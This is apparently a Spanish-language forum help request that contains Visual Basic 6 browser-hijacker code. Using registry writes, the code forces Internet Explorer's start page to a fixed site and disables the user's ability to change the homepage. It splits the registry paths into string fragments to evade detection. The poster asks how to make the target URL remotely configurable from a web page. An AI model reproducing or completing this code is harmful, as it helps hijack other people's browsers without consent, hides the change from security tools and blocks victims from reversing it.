aqui esl codigo bueno la idea es q www.caidos.net quiero q sea otra peor cmabiarlo mediante web

ejemplo

http://www.cuscored.com/paginainicio.php   aqui el texto de www.elhacker.net
quiero q coja esta valor y cambie de pagina ya no caidos.net si no el elhacker.net
creoq me dejo entender :
quieor q cambie la pagina de inicio segun el valor de la url (http://www.cuscored.com/paginainicio.php)
espero q me ayuden creo  alguien me dijo por

Inet1.Execute ("http://www.cuscored.com/paginainicio.php")

pero no se la sentenciua exacta ayudenme porfavor gracias



Private Sub Command1_Click()
Dim residencia
On Error Resume Next
Set residencia = CreateObject("WScript.Shell")
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Soft" & "w" & "are\Microsoft\Internet " & "E" & "xplorer\Main\Start Pa" & "g" & "e\" & "Microsoft Page", "http://www.caidos.net/"
residencia.RegWrite "H" & "K" & "EY_LOCA" & "L" & "_MACHINE\Soft" & "w" & "are\Microsoft\Interne" & "t" & " Explorer\Main\Star" & "t" & " Page\" & "Microsof" & "t" & " Page", "http://www.caidos.net/"
residencia.RegWrite "H" & "K" & "EY_CURREN" & "T" & "_USER\Soft" & "w" & "are\P" & "o" & "licies\Microsoft\I" & "n" & "terne" & "t" & " Explorer\Con" & "t" & "rol Panel\H" & "o" & "mepa" & "g" & "e", "0"
residencia.RegWrite "H" & "K" & "EY_CU" & "R" & "REN" & "T" & "_USER\Software\Microsof" & "t" & "\" & "I" & "nternet " & "E" & "xplorer\M" & "a" & "in\S" & "t" & "art Page", "http://www.caidos.net/"
End
End Sub